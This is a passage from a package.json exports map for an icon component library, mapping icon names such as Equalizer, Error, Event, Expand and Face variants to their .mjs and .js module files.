\"import\": \"./Equalizer.mjs\",\n      \"require\": \"./Equalizer.js\",\n      \"default\": \"./Equalizer.mjs\"\n    },\n    \"./EqualizerOutlined\": {\n      \"import\": \"./EqualizerOutlined.mjs\",\n      \"require\": \"./EqualizerOutlined.js\",\n      \"default\": \"./EqualizerOutlined.mjs\"\n    },\n    \"./EqualizerRounded\": {\n      \"import\": \"./EqualizerRounded.mjs\",\n      \"require\": \"./EqualizerRounded.js\",\n      \"default\": \"./EqualizerRounded.mjs\"\n    },\n    \"./EqualizerSharp\": {\n      \"import\": \"./EqualizerSharp.mjs\",\n      \"require\": \"./EqualizerSharp.js\",\n      \"default\": \"./EqualizerSharp.mjs\"\n    },\n    \"./EqualizerTwoTone\": {\n      \"import\": \"./EqualizerTwoTone.mjs\",\n      \"require\": \"./EqualizerTwoTone.js\",\n      \"default\": \"./EqualizerTwoTone.mjs\"\n    },\n    \"./Error\": {\n      \"import\": \"./Error.mjs\",\n      \"require\": \"./Error.js\",\n      \"default\": \"./Error.mjs\"\n    },\n    \"./ErrorOutline\": {\n      \"import\": \"./ErrorOutline.mjs\",\n      \"require\": \"./ErrorOutline.js\",\n      \"default\": \"./ErrorOutline.mjs\"\n    },\n    \"./ErrorOutlineOutlined\": {\n      \"import\": \"./ErrorOutlineOutlined.mjs\",\n      \"require\": \"./ErrorOutlineOutlined.js\",\n      \"default\": \"./ErrorOutlineOutlined.mjs\"\n    },\n    \"./ErrorOutlineRounded\": {\n      \"import\": \"./ErrorOutlineRounded.mjs\",\n      \"require\": \"./ErrorOutlineRounded.js\",\n      \"default\": \"./ErrorOutlineRounded.mjs\"\n    },\n    \"./ErrorOutlineSharp\": {\n      \"import\": \"./ErrorOutlineSharp.mjs\",\n      \"require\": \"./ErrorOutlineSharp.js\",\n      \"default\": \"./ErrorOutlineSharp.mjs\"\n    },\n    \"./ErrorOutlineTwoTone\": {\n      \"import\": \"./ErrorOutlineTwoTone.mjs\",\n      \"require\": \"./ErrorOutlineTwoTone.js\",\n      \"default\": \"./ErrorOutlineTwoTone.mjs\"\n    },\n    \"./ErrorOutlined\": {\n      \"import\": \"./ErrorOutlined.mjs\",\n      \"require\": \"./ErrorOutlined.js\",\n      \"default\": \"./ErrorOutlined.mjs\"\n    },\n    \"./ErrorRounded\": {\n      \"import\": \"./ErrorRounded.mjs\",\n      \"require\": \"./ErrorRounded.js\",\n      \"default\": \"./ErrorRounded.mjs\"\n    },\n    \"./ErrorSharp\": {\n      \"import\": \"./ErrorSharp.mjs\",\n      \"require\": \"./ErrorSharp.js\",\n      \"default\": \"./ErrorSharp.mjs\"\n    },\n    \"./ErrorTwoTone\": {\n      \"import\": \"./ErrorTwoTone.mjs\",\n      \"require\": \"./ErrorTwoTone.js\",\n      \"default\": \"./ErrorTwoTone.mjs\"\n    },\n    \"./Escalator\": {\n      \"import\": \"./Escalator.mjs\",\n      \"require\": \"./Escalator.js\",\n      \"default\": \"./Escalator.mjs\"\n    },\n    \"./EscalatorOutlined\": {\n      \"import\": \"./EscalatorOutlined.mjs\",\n      \"require\": \"./EscalatorOutlined.js\",\n      \"default\": \"./EscalatorOutlined.mjs\"\n    },\n    \"./EscalatorRounded\": {\n      \"import\": \"./EscalatorRounded.mjs\",\n      \"require\": \"./EscalatorRounded.js\",\n      \"default\": \"./EscalatorRounded.mjs\"\n    },\n    \"./EscalatorSharp\": {\n      \"import\": \"./EscalatorSharp.mjs\",\n      \"require\": \"./EscalatorSharp.js\",\n      \"default\": \"./EscalatorSharp.mjs\"\n    },\n    \"./EscalatorTwoTone\": {\n      \"import\": \"./EscalatorTwoTone.mjs\",\n      \"require\": \"./EscalatorTwoTone.js\",\n      \"default\": \"./EscalatorTwoTone.mjs\"\n    },\n    \"./EscalatorWarning\": {\n      \"import\": \"./EscalatorWarning.mjs\",\n      \"require\": \"./EscalatorWarning.js\",\n      \"default\": \"./EscalatorWarning.mjs\"\n    },\n    \"./EscalatorWarningOutlined\": {\n      \"import\": \"./EscalatorWarningOutlined.mjs\",\n      \"require\": \"./EscalatorWarningOutlined.js\",\n      \"default\": \"./EscalatorWarningOutlined.mjs\"\n    },\n    \"./EscalatorWarningRounded\": {\n      \"require\": \"./EscalatorWarningRounded.js\",\n      \"import\": \"./EscalatorWarningRounded.mjs\",\n      \"default\": \"./EscalatorWarningRounded.mjs\"\n    },\n    \"./EscalatorWarningSharp\": {\n      \"require\": \"./EscalatorWarningSharp.js\",\n      \"import\": \"./EscalatorWarningSharp.mjs\",\n      \"default\": \"./EscalatorWarningSharp.mjs\"\n    },\n    \"./EscalatorWarningTwoTone\": {\n      \"require\": \"./EscalatorWarningTwoTone.js\",\n      \"import\": \"./EscalatorWarningTwoTone.mjs\",\n      \"default\": \"./EscalatorWarningTwoTone.mjs\"\n    },\n    \"./Euro\": {\n      \"import\": \"./Euro.mjs\",\n      \"require\": \"./Euro.js\",\n      \"default\": \"./Euro.mjs\"\n    },\n    \"./EuroOutlined\": {\n      \"import\": \"./EuroOutlined.mjs\",\n      \"require\": \"./EuroOutlined.js\",\n      \"default\": \"./EuroOutlined.mjs\"\n    },\n    \"./EuroRounded\": {\n      \"import\": \"./EuroRounded.mjs\",\n      \"require\": \"./EuroRounded.js\",\n      \"default\": \"./EuroRounded.mjs\"\n    },\n    \"./EuroSharp\": {\n      \"import\": \"./EuroSharp.mjs\",\n      \"require\": \"./EuroSharp.js\",\n      \"default\": \"./EuroSharp.mjs\"\n    },\n    \"./EuroSymbol\": {\n      \"import\": \"./EuroSymbol.mjs\",\n      \"require\": \"./EuroSymbol.js\",\n      \"default\": \"./EuroSymbol.mjs\"\n    },\n    \"./EuroSymbolOutlined\": {\n      \"import\": \"./EuroSymbolOutlined.mjs\",\n      \"require\": \"./EuroSymbolOutlined.js\",\n      \"default\": \"./EuroSymbolOutlined.mjs\"\n    },\n    \"./EuroSymbolRounded\": {\n      \"import\": \"./EuroSymbolRounded.mjs\",\n      \"require\": \"./EuroSymbolRounded.js\",\n      \"default\": \"./EuroSymbolRounded.mjs\"\n    },\n    \"./EuroSymbolSharp\": {\n      \"import\": \"./EuroSymbolSharp.mjs\",\n      \"require\": \"./EuroSymbolSharp.js\",\n      \"default\": \"./EuroSymbolSharp.mjs\"\n    },\n    \"./EuroSymbolTwoTone\": {\n      \"import\": \"./EuroSymbolTwoTone.mjs\",\n      \"require\": \"./EuroSymbolTwoTone.js\",\n      \"default\": \"./EuroSymbolTwoTone.mjs\"\n    },\n    \"./EuroTwoTone\": {\n      \"require\": \"./EuroTwoTone.js\",\n      \"import\": \"./EuroTwoTone.mjs\",\n      \"default\": \"./EuroTwoTone.mjs\"\n    },\n    \"./EvStation\": {\n      \"require\": \"./EvStation.js\",\n      \"import\": \"./EvStation.mjs\",\n      \"default\": \"./EvStation.mjs\"\n    },\n    \"./EvStationOutlined\": {\n      \"require\": \"./EvStationOutlined.js\",\n      \"import\": \"./EvStationOutlined.mjs\",\n      \"default\": \"./EvStationOutlined.mjs\"\n    },\n    \"./EvStationRounded\": {\n      \"require\": \"./EvStationRounded.js\",\n      \"import\": \"./EvStationRounded.mjs\",\n      \"default\": \"./EvStationRounded.mjs\"\n    },\n    \"./EvStationSharp\": {\n      \"require\": \"./EvStationSharp.js\",\n      \"import\": \"./EvStationSharp.mjs\",\n      \"default\": \"./EvStationSharp.mjs\"\n    },\n    \"./EvStationTwoTone\": {\n      \"require\": \"./EvStationTwoTone.js\",\n      \"import\": \"./EvStationTwoTone.mjs\",\n      \"default\": \"./EvStationTwoTone.mjs\"\n    },\n    \"./Event\": {\n      \"require\": \"./Event.js\",\n      \"import\": \"./Event.mjs\",\n      \"default\": \"./Event.mjs\"\n    },\n    \"./EventAvailable\": {\n      \"require\": \"./EventAvailable.js\",\n      \"import\": \"./EventAvailable.mjs\",\n      \"default\": \"./EventAvailable.mjs\"\n    },\n    \"./EventAvailableOutlined\": {\n      \"require\": \"./EventAvailableOutlined.js\",\n      \"import\": \"./EventAvailableOutlined.mjs\",\n      \"default\": \"./EventAvailableOutlined.mjs\"\n    },\n    \"./EventAvailableRounded\": {\n      \"require\": \"./EventAvailableRounded.js\",\n      \"import\": \"./EventAvailableRounded.mjs\",\n      \"default\": \"./EventAvailableRounded.mjs\"\n    },\n    \"./EventAvailableSharp\": {\n      \"require\": \"./EventAvailableSharp.js\",\n      \"import\": \"./EventAvailableSharp.mjs\",\n      \"default\": \"./EventAvailableSharp.mjs\"\n    },\n    \"./EventAvailableTwoTone\": {\n      \"require\": \"./EventAvailableTwoTone.js\",\n      \"import\": \"./EventAvailableTwoTone.mjs\",\n      \"default\": \"./EventAvailableTwoTone.mjs\"\n    },\n    \"./EventBusy\": {\n      \"require\": \"./EventBusy.js\",\n      \"import\": \"./EventBusy.mjs\",\n      \"default\": \"./EventBusy.mjs\"\n    },\n    \"./EventBusyOutlined\": {\n      \"require\": \"./EventBusyOutlined.js\",\n      \"import\": \"./EventBusyOutlined.mjs\",\n      \"default\": \"./EventBusyOutlined.mjs\"\n    },\n    \"./EventBusyRounded\": {\n      \"require\": \"./EventBusyRounded.js\",\n      \"import\": \"./EventBusyRounded.mjs\",\n      \"default\": \"./EventBusyRounded.mjs\"\n    },\n    \"./EventBusySharp\": {\n      \"require\": \"./EventBusySharp.js\",\n      \"import\": \"./EventBusySharp.mjs\",\n      \"default\": \"./EventBusySharp.mjs\"\n    },\n    \"./EventBusyTwoTone\": {\n      \"require\": \"./EventBusyTwoTone.js\",\n      \"import\": \"./EventBusyTwoTone.mjs\",\n      \"default\": \"./EventBusyTwoTone.mjs\"\n    },\n    \"./EventNote\": {\n      \"require\": \"./EventNote.js\",\n      \"import\": \"./EventNote.mjs\",\n      \"default\": \"./EventNote.mjs\"\n    },\n    \"./EventNoteOutlined\": {\n      \"require\": \"./EventNoteOutlined.js\",\n      \"import\": \"./EventNoteOutlined.mjs\",\n      \"default\": \"./EventNoteOutlined.mjs\"\n    },\n    \"./EventNoteRounded\": {\n      \"require\": \"./EventNoteRounded.js\",\n      \"import\": \"./EventNoteRounded.mjs\",\n      \"default\": \"./EventNoteRounded.mjs\"\n    },\n    \"./EventNoteSharp\": {\n      \"import\": \"./EventNoteSharp.mjs\",\n      \"require\": \"./EventNoteSharp.js\",\n      \"default\": \"./EventNoteSharp.mjs\"\n    },\n    \"./EventNoteTwoTone\": {\n      \"import\": \"./EventNoteTwoTone.mjs\",\n      \"require\": \"./EventNoteTwoTone.js\",\n      \"default\": \"./EventNoteTwoTone.mjs\"\n    },\n    \"./EventOutlined\": {\n      \"import\": \"./EventOutlined.mjs\",\n      \"require\": \"./EventOutlined.js\",\n      \"default\": \"./EventOutlined.mjs\"\n    },\n    \"./EventRepeat\": {\n      \"import\": \"./EventRepeat.mjs\",\n      \"require\": \"./EventRepeat.js\",\n      \"default\": \"./EventRepeat.mjs\"\n    },\n    \"./EventRepeatOutlined\": {\n      \"import\": \"./EventRepeatOutlined.mjs\",\n      \"require\": \"./EventRepeatOutlined.js\",\n      \"default\": \"./EventRepeatOutlined.mjs\"\n    },\n    \"./EventRepeatRounded\": {\n      \"import\": \"./EventRepeatRounded.mjs\",\n      \"require\": \"./EventRepeatRounded.js\",\n      \"default\": \"./EventRepeatRounded.mjs\"\n    },\n    \"./EventRepeatSharp\": {\n      \"require\": \"./EventRepeatSharp.js\",\n      \"import\": \"./EventRepeatSharp.mjs\",\n      \"default\": \"./EventRepeatSharp.mjs\"\n    },\n    \"./EventRepeatTwoTone\": {\n      \"require\": \"./EventRepeatTwoTone.js\",\n      \"import\": \"./EventRepeatTwoTone.mjs\",\n      \"default\": \"./EventRepeatTwoTone.mjs\"\n    },\n    \"./EventRounded\": {\n      \"import\": \"./EventRounded.mjs\",\n      \"require\": \"./EventRounded.js\",\n      \"default\": \"./EventRounded.mjs\"\n    },\n    \"./EventSeat\": {\n      \"import\": \"./EventSeat.mjs\",\n      \"require\": \"./EventSeat.js\",\n      \"default\": \"./EventSeat.mjs\"\n    },\n    \"./EventSeatOutlined\": {\n      \"import\": \"./EventSeatOutlined.mjs\",\n      \"require\": \"./EventSeatOutlined.js\",\n      \"default\": \"./EventSeatOutlined.mjs\"\n    },\n    \"./EventSeatRounded\": {\n      \"import\": \"./EventSeatRounded.mjs\",\n      \"require\": \"./EventSeatRounded.js\",\n      \"default\": \"./EventSeatRounded.mjs\"\n    },\n    \"./EventSeatSharp\": {\n      \"require\": \"./EventSeatSharp.js\",\n      \"import\": \"./EventSeatSharp.mjs\",\n      \"default\": \"./EventSeatSharp.mjs\"\n    },\n    \"./EventSeatTwoTone\": {\n      \"require\": \"./EventSeatTwoTone.js\",\n      \"import\": \"./EventSeatTwoTone.mjs\",\n      \"default\": \"./EventSeatTwoTone.mjs\"\n    },\n    \"./EventSharp\": {\n      \"import\": \"./EventSharp.mjs\",\n      \"require\": \"./EventSharp.js\",\n      \"default\": \"./EventSharp.mjs\"\n    },\n    \"./EventTwoTone\": {\n      \"import\": \"./EventTwoTone.mjs\",\n      \"require\": \"./EventTwoTone.js\",\n      \"default\": \"./EventTwoTone.mjs\"\n    },\n    \"./ExitToApp\": {\n      \"import\": \"./ExitToApp.mjs\",\n      \"require\": \"./ExitToApp.js\",\n      \"default\": \"./ExitToApp.mjs\"\n    },\n    \"./ExitToAppOutlined\": {\n      \"import\": \"./ExitToAppOutlined.mjs\",\n      \"require\": \"./ExitToAppOutlined.js\",\n      \"default\": \"./ExitToAppOutlined.mjs\"\n    },\n    \"./ExitToAppRounded\": {\n      \"import\": \"./ExitToAppRounded.mjs\",\n      \"require\": \"./ExitToAppRounded.js\",\n      \"default\": \"./ExitToAppRounded.mjs\"\n    },\n    \"./ExitToAppSharp\": {\n      \"import\": \"./ExitToAppSharp.mjs\",\n      \"require\": \"./ExitToAppSharp.js\",\n      \"default\": \"./ExitToAppSharp.mjs\"\n    },\n    \"./ExitToAppTwoTone\": {\n      \"import\": \"./ExitToAppTwoTone.mjs\",\n      \"require\": \"./ExitToAppTwoTone.js\",\n      \"default\": \"./ExitToAppTwoTone.mjs\"\n    },\n    \"./Expand\": {\n      \"import\": \"./Expand.mjs\",\n      \"require\": \"./Expand.js\",\n      \"default\": \"./Expand.mjs\"\n    },\n    \"./ExpandCircleDown\": {\n      \"import\": \"./ExpandCircleDown.mjs\",\n      \"require\": \"./ExpandCircleDown.js\",\n      \"default\": \"./ExpandCircleDown.mjs\"\n    },\n    \"./ExpandCircleDownOutlined\": {\n      \"import\": \"./ExpandCircleDownOutlined.mjs\",\n      \"require\": \"./ExpandCircleDownOutlined.js\",\n      \"default\": \"./ExpandCircleDownOutlined.mjs\"\n    },\n    \"./ExpandCircleDownRounded\": {\n      \"import\": \"./ExpandCircleDownRounded.mjs\",\n      \"require\": \"./ExpandCircleDownRounded.js\",\n      \"default\": \"./ExpandCircleDownRounded.mjs\"\n    },\n    \"./ExpandCircleDownSharp\": {\n      \"import\": \"./ExpandCircleDownSharp.mjs\",\n      \"require\": \"./ExpandCircleDownSharp.js\",\n      \"default\": \"./ExpandCircleDownSharp.mjs\"\n    },\n    \"./ExpandCircleDownTwoTone\": {\n      \"import\": \"./ExpandCircleDownTwoTone.mjs\",\n      \"require\": \"./ExpandCircleDownTwoTone.js\",\n      \"default\": \"./ExpandCircleDownTwoTone.mjs\"\n    },\n    \"./ExpandLess\": {\n      \"import\": \"./ExpandLess.mjs\",\n      \"require\": \"./ExpandLess.js\",\n      \"default\": \"./ExpandLess.mjs\"\n    },\n    \"./ExpandLessOutlined\": {\n      \"import\": \"./ExpandLessOutlined.mjs\",\n      \"require\": \"./ExpandLessOutlined.js\",\n      \"default\": \"./ExpandLessOutlined.mjs\"\n    },\n    \"./ExpandLessRounded\": {\n      \"import\": \"./ExpandLessRounded.mjs\",\n      \"require\": \"./ExpandLessRounded.js\",\n      \"default\": \"./ExpandLessRounded.mjs\"\n    },\n    \"./ExpandLessSharp\": {\n      \"import\": \"./ExpandLessSharp.mjs\",\n      \"require\": \"./ExpandLessSharp.js\",\n      \"default\": \"./ExpandLessSharp.mjs\"\n    },\n    \"./ExpandLessTwoTone\": {\n      \"import\": \"./ExpandLessTwoTone.mjs\",\n      \"require\": \"./ExpandLessTwoTone.js\",\n      \"default\": \"./ExpandLessTwoTone.mjs\"\n    },\n    \"./ExpandMore\": {\n      \"import\": \"./ExpandMore.mjs\",\n      \"require\": \"./ExpandMore.js\",\n      \"default\": \"./ExpandMore.mjs\"\n    },\n    \"./ExpandMoreOutlined\": {\n      \"import\": \"./ExpandMoreOutlined.mjs\",\n      \"require\": \"./ExpandMoreOutlined.js\",\n      \"default\": \"./ExpandMoreOutlined.mjs\"\n    },\n    \"./ExpandMoreRounded\": {\n      \"import\": \"./ExpandMoreRounded.mjs\",\n      \"require\": \"./ExpandMoreRounded.js\",\n      \"default\": \"./ExpandMoreRounded.mjs\"\n    },\n    \"./ExpandMoreSharp\": {\n      \"import\": \"./ExpandMoreSharp.mjs\",\n      \"require\": \"./ExpandMoreSharp.js\",\n      \"default\": \"./ExpandMoreSharp.mjs\"\n    },\n    \"./ExpandMoreTwoTone\": {\n      \"import\": \"./ExpandMoreTwoTone.mjs\",\n      \"require\": \"./ExpandMoreTwoTone.js\",\n      \"default\": \"./ExpandMoreTwoTone.mjs\"\n    },\n    \"./ExpandOutlined\": {\n      \"import\": \"./ExpandOutlined.mjs\",\n      \"require\": \"./ExpandOutlined.js\",\n      \"default\": \"./ExpandOutlined.mjs\"\n    },\n    \"./ExpandRounded\": {\n      \"import\": \"./ExpandRounded.mjs\",\n      \"require\": \"./ExpandRounded.js\",\n      \"default\": \"./ExpandRounded.mjs\"\n    },\n    \"./ExpandSharp\": {\n      \"import\": \"./ExpandSharp.mjs\",\n      \"require\": \"./ExpandSharp.js\",\n      \"default\": \"./ExpandSharp.mjs\"\n    },\n    \"./ExpandTwoTone\": {\n      \"import\": \"./ExpandTwoTone.mjs\",\n      \"require\": \"./ExpandTwoTone.js\",\n      \"default\": \"./ExpandTwoTone.mjs\"\n    },\n    \"./Explicit\": {\n      \"import\": \"./Explicit.mjs\",\n      \"require\": \"./Explicit.js\",\n      \"default\": \"./Explicit.mjs\"\n    },\n    \"./ExplicitOutlined\": {\n      \"import\": \"./ExplicitOutlined.mjs\",\n      \"require\": \"./ExplicitOutlined.js\",\n      \"default\": \"./ExplicitOutlined.mjs\"\n    },\n    \"./ExplicitRounded\": {\n      \"import\": \"./ExplicitRounded.mjs\",\n      \"require\": \"./ExplicitRounded.js\",\n      \"default\": \"./ExplicitRounded.mjs\"\n    },\n    \"./ExplicitSharp\": {\n      \"import\": \"./ExplicitSharp.mjs\",\n      \"require\": \"./ExplicitSharp.js\",\n      \"default\": \"./ExplicitSharp.mjs\"\n    },\n    \"./ExplicitTwoTone\": {\n      \"import\": \"./ExplicitTwoTone.mjs\",\n      \"require\": \"./ExplicitTwoTone.js\",\n      \"default\": \"./ExplicitTwoTone.mjs\"\n    },\n    \"./Explore\": {\n      \"import\": \"./Explore.mjs\",\n      \"require\": \"./Explore.js\",\n      \"default\": \"./Explore.mjs\"\n    },\n    \"./ExploreOff\": {\n      \"import\": \"./ExploreOff.mjs\",\n      \"require\": \"./ExploreOff.js\",\n      \"default\": \"./ExploreOff.mjs\"\n    },\n    \"./ExploreOffOutlined\": {\n      \"import\": \"./ExploreOffOutlined.mjs\",\n      \"require\": \"./ExploreOffOutlined.js\",\n      \"default\": \"./ExploreOffOutlined.mjs\"\n    },\n    \"./ExploreOffRounded\": {\n      \"import\": \"./ExploreOffRounded.mjs\",\n      \"require\": \"./ExploreOffRounded.js\",\n      \"default\": \"./ExploreOffRounded.mjs\"\n    },\n    \"./ExploreOffSharp\": {\n      \"import\": \"./ExploreOffSharp.mjs\",\n      \"require\": \"./ExploreOffSharp.js\",\n      \"default\": \"./ExploreOffSharp.mjs\"\n    },\n    \"./ExploreOffTwoTone\": {\n      \"import\": \"./ExploreOffTwoTone.mjs\",\n      \"require\": \"./ExploreOffTwoTone.js\",\n      \"default\": \"./ExploreOffTwoTone.mjs\"\n    },\n    \"./ExploreOutlined\": {\n      \"import\": \"./ExploreOutlined.mjs\",\n      \"require\": \"./ExploreOutlined.js\",\n      \"default\": \"./ExploreOutlined.mjs\"\n    },\n    \"./ExploreRounded\": {\n      \"import\": \"./ExploreRounded.mjs\",\n      \"require\": \"./ExploreRounded.js\",\n      \"default\": \"./ExploreRounded.mjs\"\n    },\n    \"./ExploreSharp\": {\n      \"import\": \"./ExploreSharp.mjs\",\n      \"require\": \"./ExploreSharp.js\",\n      \"default\": \"./ExploreSharp.mjs\"\n    },\n    \"./ExploreTwoTone\": {\n      \"import\": \"./ExploreTwoTone.mjs\",\n      \"require\": \"./ExploreTwoTone.js\",\n      \"default\": \"./ExploreTwoTone.mjs\"\n    },\n    \"./Exposure\": {\n      \"import\": \"./Exposure.mjs\",\n      \"require\": \"./Exposure.js\",\n      \"default\": \"./Exposure.mjs\"\n    },\n    \"./ExposureOutlined\": {\n      \"import\": \"./ExposureOutlined.mjs\",\n      \"require\": \"./ExposureOutlined.js\",\n      \"default\": \"./ExposureOutlined.mjs\"\n    },\n    \"./ExposureRounded\": {\n      \"import\": \"./ExposureRounded.mjs\",\n      \"require\": \"./ExposureRounded.js\",\n      \"default\": \"./ExposureRounded.mjs\"\n    },\n    \"./ExposureSharp\": {\n      \"import\": \"./ExposureSharp.mjs\",\n      \"require\": \"./ExposureSharp.js\",\n      \"default\": \"./ExposureSharp.mjs\"\n    },\n    \"./ExposureTwoTone\": {\n      \"import\": \"./ExposureTwoTone.mjs\",\n      \"require\": \"./ExposureTwoTone.js\",\n      \"default\": \"./ExposureTwoTone.mjs\"\n    },\n    \"./Extension\": {\n      \"import\": \"./Extension.mjs\",\n      \"require\": \"./Extension.js\",\n      \"default\": \"./Extension.mjs\"\n    },\n    \"./ExtensionOff\": {\n      \"import\": \"./ExtensionOff.mjs\",\n      \"require\": \"./ExtensionOff.js\",\n      \"default\": \"./ExtensionOff.mjs\"\n    },\n    \"./ExtensionOffOutlined\": {\n      \"import\": \"./ExtensionOffOutlined.mjs\",\n      \"require\": \"./ExtensionOffOutlined.js\",\n      \"default\": \"./ExtensionOffOutlined.mjs\"\n    },\n    \"./ExtensionOffRounded\": {\n      \"import\": \"./ExtensionOffRounded.mjs\",\n      \"require\": \"./ExtensionOffRounded.js\",\n      \"default\": \"./ExtensionOffRounded.mjs\"\n    },\n    \"./ExtensionOffSharp\": {\n      \"import\": \"./ExtensionOffSharp.mjs\",\n      \"require\": \"./ExtensionOffSharp.js\",\n      \"default\": \"./ExtensionOffSharp.mjs\"\n    },\n    \"./ExtensionOffTwoTone\": {\n      \"import\": \"./ExtensionOffTwoTone.mjs\",\n      \"require\": \"./ExtensionOffTwoTone.js\",\n      \"default\": \"./ExtensionOffTwoTone.mjs\"\n    },\n    \"./ExtensionOutlined\": {\n      \"import\": \"./ExtensionOutlined.mjs\",\n      \"require\": \"./ExtensionOutlined.js\",\n      \"default\": \"./ExtensionOutlined.mjs\"\n    },\n    \"./ExtensionRounded\": {\n      \"import\": \"./ExtensionRounded.mjs\",\n      \"require\": \"./ExtensionRounded.js\",\n      \"default\": \"./ExtensionRounded.mjs\"\n    },\n    \"./ExtensionSharp\": {\n      \"import\": \"./ExtensionSharp.mjs\",\n      \"require\": \"./ExtensionSharp.js\",\n      \"default\": \"./ExtensionSharp.mjs\"\n    },\n    \"./ExtensionTwoTone\": {\n      \"import\": \"./ExtensionTwoTone.mjs\",\n      \"require\": \"./ExtensionTwoTone.js\",\n      \"default\": \"./ExtensionTwoTone.mjs\"\n    },\n    \"./Face\": {\n      \"import\": \"./Face.mjs\",\n      \"require\": \"./Face.js\",\n      \"default\": \"./Face.mjs\"\n    },\n    \"./Face2\": {\n      \"import\": \"./Face2.mjs\",\n      \"require\": \"./Face2.js\",\n      \"default\": \"./Face2.mjs\"\n    },\n    \"./Face2Outlined\": {\n      \"import\": \"./Face2Outlined.mjs\",\n      \"require\": \"./Face2Outlined.js\",\n      \"default\": \"./Face2Outlined.mjs\"\n    },\n    \"./Face2Rounded\": {\n      \"import\": \"./Face2Rounded.mjs\",\n      \"require\": \"./Face2Rounded.js\",\n      \"default\": \"./Face2Rounded.mjs\"\n    },\n    \"./Face2Sharp\": {\n      \"import\": \"./Face2Sharp.mjs\",\n      \"require\": \"./Face2Sharp.js\",\n      \"default\": \"./Face2Sharp.mjs\"\n    },\n    \"./Face2TwoTone\": {\n      \"import\": \"./Face2TwoTone.mjs\",\n      \"require\": \"./Face2TwoTone.js\",\n      \"default\": \"./Face2TwoTone.mjs\"\n    },\n    \"./Face3\": {\n      \"import\": \"./Face3.mjs\",\n      \"require\": \"./Face3.js\",\n      \"default\": \"./Face3.mjs\"\n    },\n    \"./Face3Outlined\": {\n      \"import\": \"./Face3Outlined.mjs\",\n      \"require\": \"./Face3Outlined.js\",\n      \"default\": \"./Face3Outlined.mjs\"\n    },\n    \"./Face3Rounded\": {\n      \"import\": \"./Face3Rounded.mjs\",\n      \"require\": \"./Face3Rounded.js\",\n      \"default\": \"./Face3Rounded.mjs\"\n    },\n    \"./Face3Sharp\": {\n      \"import\": \"./Face3Sharp.mjs\",\n      \"require\": \"./Face3Sharp.js\",\n      \"default\": \"./Face3Sharp.mjs\"\n    },\n    \"./Face3TwoTone\": {\n      \"import\": \"./Face3TwoTone.mjs\",\n      \"require\": \"./Face3TwoTone.js\",\n      \"default\": \"./Face3TwoTone.mjs\"\n    },\n    \"./Face4\": {\n      \"import\": \"./Face4.mjs\",\n      \"require\": \"./Face4.js\",\n      \"default\": \"./Face4.mjs\"\n    },\n    \"./Face4Outlined\": {\n      \"import\": \"./Face4Outlined.mjs\",\n      \"require\": \"./Face4Outlined.js\",\n      \"default\": \"./Face4Outlined.mjs\"\n    },\n    \"./Face4Rounded\": {\n      \"import\": \"./Face4Rounded.mjs\",\n      \"require\": \"./Face4Rounded.js\",\n      \"default\": \"./Face4Rounded.mjs\"\n    },\n    \"./Face4Sharp\": {\n      \"import\": \"./Face4Sharp.mjs\",\n      \"require\": \"./Face4Sharp.js\",\n      \"default\": \"./Face4Sharp.mjs\"\n    },\n    \"./Face4TwoTone\": {\n      \"import\": \"./Face4TwoTone.mjs\",\n      \"require\": \"./Face4TwoTone.js\",\n      \"default\": \"./Face4TwoTone.mjs\"\n    },\n    \"./Face5\": {\n      \"import\": \"./Face5.mjs\",\n      \"require\": \"./Face5.js\",\n      \"default\": \"./Face5.mjs\"\n    },\n    \"./Face5Outlined\": {\n      \"import\": \"./Face5Outlined.mjs\",\n      \"require\": \"./Face5Outlined.js\",\n      \"default\": \"./Face5Outlined.mjs\"\n    },\n    \"./Face5Rounded\": {\n      \"import\": \"./Face5Rounded.mjs\",\n      \"require\": \"./Face5Rounded.js\",\n      \"default\": \"./Face5Rounded.mjs\"\n    },\n    \"./Face5Sharp\": {\n      \"import\": \"./Face5Sharp.mjs\",\n      \"require\": \"./Face5Sharp.js\",\n      \"default\": \"./Face5Sharp.mjs\"\n    },\n    \"./Face5TwoTone\": {\n      \"import\": \"./Face5TwoTone.mjs\",\n      \"require\": \"./Face5TwoTone.js\",\n      \"default\": \"./Face5TwoTone.mjs\"\n    },\n    \"./Face6\": {\n      \"import\": \"./Face6.mjs\",\n      \"require\": \"./Face6.js\",\n      \"default\": \"./Face6.mjs\"\n    },\n    \"./Face6Outlined\": {\n      \"import\": \"./Face6Outlined.mjs\",\n      \"require\": \"./Face6Outlined.js\",\n      \"default\": \"./Face6Outlined.mjs\"\n    },\n    \"./Face6Rounded\": {\n      \"import\": \"./Face6Rounded.mjs\",\n      \"require\": \"./Face6Rounded.js\",\n      \"default\": \"./Face6Rounded.mjs\"\n    },\n    \"./Face6Sharp\": {\n      \"require\": \"./Face6Sharp.js\",\n      \"import\": \"./Face6Sharp.mjs\",\n      \"default\": \"./Face6Sharp.mjs\"\n    },\n    \"./Face6TwoTone\": {\n      \"require\": \"./Face6TwoTone.js\",\n      \"import\": \"./Face6TwoTone.mjs\",\n      \"default\": \"./Face6TwoTone.mjs\"\n    },\n    \"./FaceOutlined\": {\n      \"require\": \"./FaceOutlined.js\",\n      \"import\": \"./FaceOutlined.mjs\",\n      \"default\": \"./FaceOutlined.mjs\"\n    },\n    \"./FaceRetouchingNatural\": {\n      \"require\": \"./FaceRetouchingNatural.js\",\n      \"import\": \"./FaceRetouchingNatural.mjs\",\n      \"default\": \"./FaceRetouchingNatural.mjs\"\n    },\n    \"./FaceRetouchingNaturalOutlined\": {\n      \"require\": \"./FaceRetouchingNaturalOutlined.js\",\n      \"import\": \"./FaceRetouchingNaturalOutlined.mjs\",\n      \"default\": \"./FaceRetouchingNaturalOutlined.mjs\"\n    },\n    \"./FaceRetouchingNaturalRounded\": {\n      \"require\": \"./FaceRetouchingNaturalRounded.js\",\n      \"import\": \"./FaceRetouchingNaturalRounded.mjs\",\n      \"default\": \"./FaceRetouchingNaturalRounded.mjs\"\n    },\n    \"./FaceRetouchingNaturalSharp\": {\n      \"require\": \"./FaceRetouchingNaturalSharp.js\",\n      \"import\": \"./FaceRetouchingNaturalSharp.mjs\",\n      \"default\": \"./FaceRetouchingNaturalSharp.mjs\"\n    },\n    \"./FaceRetouchingNaturalTwoTone\": {\n      \"require\": \"./FaceRetouchingNaturalTwoTone.js\",\n      \"import\": \"./FaceRetouchingNaturalTwoTone.mjs\",\n      \"default\": \"./FaceRetouchingNaturalTwoTone.mjs\"\n    },\n    \"./FaceRetouchingOff\": {\n      \"require\": \"./FaceRetouchingOff.js\",\n      \"import\": \"./FaceRetouchingOff.mjs\",\n      \"default\": \"./FaceRetouchingOff.mjs\"\n    },\n    \"./FaceRetouchingOffOutlined\": {\n      \"require\": 